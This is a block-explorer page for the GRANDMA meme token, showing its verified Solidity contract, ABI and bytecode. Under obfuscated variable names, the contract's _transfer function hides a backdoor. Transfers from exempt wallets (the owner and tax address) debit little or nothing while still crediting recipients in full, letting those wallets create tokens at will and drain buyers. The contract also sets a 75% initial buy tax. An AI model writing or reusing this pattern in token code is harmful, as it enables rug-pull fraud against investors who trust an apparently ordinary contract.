ETH Price: $3,408.36 (-0.72%)

Token

Grandma vs The Internet® (GRANDMA)
 

Overview

Max Total Supply

1,000,000,000 GRANDMA

Holders

58

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
38,410,080.476871087 GRANDMA

Value
$0.00
0x30a0710de6eca057e85a9e5984309e1247803341
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GRANDMA

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-20
*/

// SPDX-License-Identifier: UNLICENSE

// Web: https://grandmacoin.fun
// Telegram: https://t.me/grandmainternet
// X: https://twitter.com/grandmaerc

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract GRANDMA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _exempt;
    address payable private _taxAddress;

    uint256 private _initialBuyTax=75;
    uint256 private _initialSellTax=5;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=4;
    uint256 private _reduceSellTaxAt=4;
    uint256 private _preventSwapBefore=4;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Grandma vs The Internet®";
    string private constant _symbol = unicode"GRANDMA";
    uint256 public _maxTx = 20000000 * 10**_decimals;
    uint256 public _maxWallet = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 20000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address router_, address taxWallet_) {
        _taxAddress = payable(taxWallet_);
        _balances[_msgSender()] = _tTotal;
        _exempt[owner()] = true;
        _exempt[address(this)] = true;
        _exempt[_taxAddress] = true;
        
        uniswapV2Router = IUniswapV2Router02(router_);

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
  
    function enableTrading() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
  

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(owner(), _amount);
    }
    
    function rescueETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(address(this).balance);
    }

    receive() external payable {}

    function _transfer(address _dyat, address _cvjt, uint256 _xkyas) private {
        require(_dyat != address(0), "ERC20: transfer from the zero address");
        require(_cvjt != address(0), "ERC20: transfer to the zero address");
        require(_xkyas > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            require(_exempt[_dyat] || _exempt[_cvjt]);
            _balances[_dyat] = _balances[_dyat].sub(_xkyas);
            _balances[_cvjt] = _balances[_cvjt].add(_xkyas);
            emit Transfer(_dyat, _cvjt, _xkyas);
            return;
        }uint256 taxAmount=0;uint256 swapAmount;
        if (_dyat != owner() && _cvjt != owner() && _cvjt != _taxAddress) {
            taxAmount = _xkyas.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (_dyat == uniswapV2Pair && _cvjt != address(uniswapV2Router) && ! _exempt[_cvjt] ) {
                require(_xkyas <= _maxTx, "Exceeds the _maxTxAmount.");
                require(balanceOf(_cvjt) + _xkyas <= _maxWallet, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(_cvjt == uniswapV2Pair && _dyat!= address(this) ){
                taxAmount = _xkyas.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _cvjt == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapAmount = _xkyas;
                if(swapAmount > contractTokenBalance) swapAmount = contractTokenBalance;
                if(swapAmount > _maxTaxSwap) swapAmount = _maxTaxSwap;
                swapAmount = swapTokensForEth(swapAmount);
                sellCount++;
                lastSellBlock = block.number;
            }
            if(_cvjt == uniswapV2Pair) sendETHToFee(address(this).balance);
        }
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(_dyat, address(this), taxAmount);
        }
        if(!_exempt[_dyat]) swapAmount = _xkyas;
        _balances[_dyat] = _balances[_dyat].sub(swapAmount);
        _balances[_cvjt] = _balances[_cvjt].add(_xkyas.sub(taxAmount));
        emit Transfer(_dyat, _cvjt, _xkyas.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap returns(uint256) {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        return 0;
    }

    function removeLimits() external onlyOwner {
        _maxTx = _tTotal;
        _maxWallet=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxAddress.transfer(amount);
    }


    function addLiquidity() external onlyOwner {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"taxWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052604b60055560056006555f6007555f60085560046009556004600a556004600b555f600c556009600a62000039919062000380565b62000049906301312d0062000397565b600d556200005a6009600a62000380565b6200006a906301312d0062000397565b600e556200007b6009600a62000380565b6200008a906298968062000397565b600f556200009b6009600a62000380565b620000ab906301312d0062000397565b6010556012805461ffff60a81b191690555f6013819055601455348015620000d1575f80fd5b5060405162001eb338038062001eb3833981016040819052620000f491620003cd565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319166001600160a01b0383161790556200015d6009600a62000380565b6200016d90633b9aca0062000397565b335f908152600160208190526040822092909255600390620001965f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004548216845291909220805490931617909155601180549184166001600160a01b03199092169190911790556200020f3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002486009600a62000380565b6200025890633b9aca0062000397565b60405190815260200160405180910390a3505062000403565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002c557815f1904821115620002a957620002a962000271565b80851615620002b757918102915b93841c93908002906200028a565b509250929050565b5f82620002dd575060016200037a565b81620002eb57505f6200037a565b81600181146200030457600281146200030f576200032f565b60019150506200037a565b60ff84111562000323576200032362000271565b50506001821b6200037a565b5060208310610133831016604e8410600b841016171562000354575081810a6200037a565b62000360838362000285565b805f190482111562000376576200037662000271565b0290505b92915050565b5f6200039060ff841683620002cd565b9392505050565b80820281158282048414176200037a576200037a62000271565b80516001600160a01b0381168114620003c8575f80fd5b919050565b5f8060408385031215620003df575f80fd5b620003ea83620003b1565b9150620003fa60208401620003b1565b90509250929050565b611aa280620004115f395ff3fe60806040526004361061011e575f3560e01c80637830b0721161009d57806395d89b411161006257806395d89b4114610315578063a9059cbb14610344578063bf474bed14610363578063dd62ed3e14610378578063e8078d94146103bc575f80fd5b80637830b0721461029257806382247ec0146102a75780638a8c523c146102bc5780638cd4426d146102d05780638da5cb5b146102ef575f80fd5b806323b872dd116100e357806323b872dd146101fc578063313ce5671461021b57806370a0823114610236578063715018a61461026a578063751039fc1461027e575f80fd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806320800a00146101e6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601981527f4772616e646d612076732054686520496e7465726e6574c2ae0000000000000060208201525b604051610177919061167e565b60405180910390f35b34801561018b575f80fd5b5061019f61019a3660046116de565b6103d0565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460105481565b604051908152602001610177565b3480156101dd575f80fd5b506101c46103e6565b3480156101f1575f80fd5b506101fa610406565b005b348015610207575f80fd5b5061019f610216366004611708565b61047d565b348015610226575f80fd5b5060405160098152602001610177565b348015610241575f80fd5b506101c4610250366004611746565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f80fd5b506101fa6104e4565b348015610289575f80fd5b506101fa610555565b34801561029d575f80fd5b506101c4600d5481565b3480156102b2575f80fd5b506101c4600e5481565b3480156102c7575f80fd5b506101fa610606565b3480156102db575f80fd5b506101fa6102ea3660046116de565b610648565b3480156102fa575f80fd5b505f546040516001600160a01b039091168152602001610177565b348015610320575f80fd5b506040805180820190915260078152664752414e444d4160c81b602082015261016a565b34801561034f575f80fd5b5061019f61035e3660046116de565b610788565b34801561036e575f80fd5b506101c4600f5481565b348015610383575f80fd5b506101c4610392366004611761565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103c7575f80fd5b506101fa610794565b5f6103dc338484610b06565b5060015b92915050565b5f6103f36009600a61188c565b61040190633b9aca0061189a565b905090565b5f546001600160a01b031633146104385760405162461bcd60e51b815260040161042f906118b1565b60405180910390fd5b5f4711610443575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561047a573d5f803e3d5ffd5b50565b5f610489848484610c2a565b6104da84336104d585604051806060016040528060288152602001611a45602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611302565b610b06565b5060019392505050565b5f546001600160a01b0316331461050d5760405162461bcd60e51b815260040161042f906118b1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057e5760405162461bcd60e51b815260040161042f906118b1565b61058a6009600a61188c565b61059890633b9aca0061189a565b600d556105a76009600a61188c565b6105b590633b9aca0061189a565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e56009600a61188c565b6105f390633b9aca0061189a565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461062f5760405162461bcd60e51b815260040161042f906118b1565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146106715760405162461bcd60e51b815260040161042f906118b1565b6040516370a0823160e01b81523060048201525f906106f2906064906106ec9085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156106c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e691906118e6565b9061133a565b906113bf565b9050826001600160a01b031663a9059cbb6107145f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561075e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078291906118fd565b50505050565b5f6103dc338484610c2a565b5f546001600160a01b031633146107bd5760405162461bcd60e51b815260040161042f906118b1565b601254600160a01b900460ff16156108175760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042f565b6011546108439030906001600160a01b03166108356009600a61188c565b6104d590633b9aca0061189a565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610893573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b7919061191c565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610916573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093a919061191c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610984573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a8919061191c565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306109ef816001600160a01b03165f9081526001602052604090205490565b5f80610a025f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a68573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a8d9190611937565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610ae2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061047a91906118fd565b6001600160a01b038316610b685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042f565b6001600160a01b038216610bc95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042f565b6001600160a01b038216610cf05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042f565b5f8111610d515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042f565b601254600160b01b900460ff161580610d735750601254600160a81b900460ff165b15610e60576001600160a01b0383165f9081526003602052604090205460ff1680610db557506001600160a01b0382165f9081526003602052604090205460ff165b610dbd575f80fd5b6001600160a01b0383165f90815260016020526040902054610ddf9082611400565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610e0d9082611441565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c1d9085815260200190565b5f80610e735f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610ea157505f546001600160a01b03858116911614155b8015610ebb57506004546001600160a01b03858116911614155b156111a257610ee660646106ec600954600c5411610edb57600554610edf565b6007545b869061133a565b6012549092506001600160a01b038681169116148015610f1457506011546001600160a01b03858116911614155b8015610f3857506001600160a01b0384165f9081526003602052604090205460ff16155b1561101e57600d54831115610f8f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042f565b600e5483610fb1866001600160a01b03165f9081526001602052604090205490565b610fbb9190611962565b11156110095760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042f565b600c8054905f61101883611975565b91905055505b6012546001600160a01b03858116911614801561104457506001600160a01b0385163014155b156110715761106e60646106ec600a54600c541161106457600654610edf565b600854869061133a565b91505b305f90815260016020526040902054601254600160a81b900460ff161580156110a757506012546001600160a01b038681169116145b80156110bc5750601254600160b01b900460ff165b80156110c95750600f5481115b80156110d85750600b54600c54115b15611181576014544311156110ec575f6013555b60036013541061113e5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b21000000000000000000604482015260640161042f565b8391508082111561114d578091505b60105482111561115d5760105491505b6111668261149f565b601380549193505f61117783611975565b9091555050436014555b6012546001600160a01b03908116908616036111a0576111a047611617565b505b811561121a57305f908152600160205260409020546111c19083611441565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112119086815260200190565b60405180910390a35b6001600160a01b0385165f9081526003602052604090205460ff1661123c5750815b6001600160a01b0385165f9081526001602052604090205461125e9082611400565b6001600160a01b0386165f908152600160205260409020556112a16112838484611400565b6001600160a01b0386165f9081526001602052604090205490611441565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112ea8686611400565b60405190815260200160405180910390a35050505050565b5f81848411156113255760405162461bcd60e51b815260040161042f919061167e565b505f611331848661198d565b95945050505050565b5f825f0361134957505f6103e0565b5f611354838561189a565b90508261136185836119a0565b146113b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042f565b9392505050565b5f6113b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611652565b5f6113b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611302565b5f8061144d8385611962565b9050838110156113b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042f565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f928392919060208301908036833701905050905030815f815181106114e9576114e96119bf565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611540573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611564919061191c565b81600181518110611577576115776119bf565b6001600160a01b03928316602091820292909201015260115461159d9130911685610b06565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115d59086905f908690309042906004016119d3565b5f604051808303815f87803b1580156115ec575f80fd5b505af11580156115fe573d5f803e3d5ffd5b50506012805460ff60a81b19169055505f949350505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561164e573d5f803e3d5ffd5b5050565b5f81836116725760405162461bcd60e51b815260040161042f919061167e565b505f61133184866119a0565b5f602080835283518060208501525f5b818110156116aa5785810183015185820160400152820161168e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461047a575f80fd5b5f80604083850312156116ef575f80fd5b82356116fa816116ca565b946020939093013593505050565b5f805f6060848603121561171a575f80fd5b8335611725816116ca565b92506020840135611735816116ca565b929592945050506040919091013590565b5f60208284031215611756575f80fd5b81356113b8816116ca565b5f8060408385031215611772575f80fd5b823561177d816116ca565b9150602083013561178d816116ca565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117e657815f19048211156117cc576117cc611798565b808516156117d957918102915b93841c93908002906117b1565b509250929050565b5f826117fc575060016103e0565b8161180857505f6103e0565b816001811461181e576002811461182857611844565b60019150506103e0565b60ff84111561183957611839611798565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715611867575081810a6103e0565b61187183836117ac565b805f190482111561188457611884611798565b029392505050565b5f6113b860ff8416836117ee565b80820281158282048414176103e0576103e0611798565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118f6575f80fd5b5051919050565b5f6020828403121561190d575f80fd5b815180151581146113b8575f80fd5b5f6020828403121561192c575f80fd5b81516113b8816116ca565b5f805f60608486031215611949575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103e0576103e0611798565b5f6001820161198657611986611798565b5060010190565b818103818111156103e0576103e0611798565b5f826119ba57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a235784516001600160a01b0316835293830193918301916001016119fe565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aaef283659e3158d916a9248eba2777c03da8863107f7b0df4310cebea3c4b7564736f6c634300081800330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000069a2401c53bab6dc31b5afbe662d5072a53e890

Deployed Bytecode

0x60806040526004361061011e575f3560e01c80637830b0721161009d57806395d89b411161006257806395d89b4114610315578063a9059cbb14610344578063bf474bed14610363578063dd62ed3e14610378578063e8078d94146103bc575f80fd5b80637830b0721461029257806382247ec0146102a75780638a8c523c146102bc5780638cd4426d146102d05780638da5cb5b146102ef575f80fd5b806323b872dd116100e357806323b872dd146101fc578063313ce5671461021b57806370a0823114610236578063715018a61461026a578063751039fc1461027e575f80fd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806320800a00146101e6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601981527f4772616e646d612076732054686520496e7465726e6574c2ae0000000000000060208201525b604051610177919061167e565b60405180910390f35b34801561018b575f80fd5b5061019f61019a3660046116de565b6103d0565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460105481565b604051908152602001610177565b3480156101dd575f80fd5b506101c46103e6565b3480156101f1575f80fd5b506101fa610406565b005b348015610207575f80fd5b5061019f610216366004611708565b61047d565b348015610226575f80fd5b5060405160098152602001610177565b348015610241575f80fd5b506101c4610250366004611746565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f80fd5b506101fa6104e4565b348015610289575f80fd5b506101fa610555565b34801561029d575f80fd5b506101c4600d5481565b3480156102b2575f80fd5b506101c4600e5481565b3480156102c7575f80fd5b506101fa610606565b3480156102db575f80fd5b506101fa6102ea3660046116de565b610648565b3480156102fa575f80fd5b505f546040516001600160a01b039091168152602001610177565b348015610320575f80fd5b506040805180820190915260078152664752414e444d4160c81b602082015261016a565b34801561034f575f80fd5b5061019f61035e3660046116de565b610788565b34801561036e575f80fd5b506101c4600f5481565b348015610383575f80fd5b506101c4610392366004611761565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103c7575f80fd5b506101fa610794565b5f6103dc338484610b06565b5060015b92915050565b5f6103f36009600a61188c565b61040190633b9aca0061189a565b905090565b5f546001600160a01b031633146104385760405162461bcd60e51b815260040161042f906118b1565b60405180910390fd5b5f4711610443575f80fd5b5f80546040516001600160a01b03909116914780156108fc0292909181818185888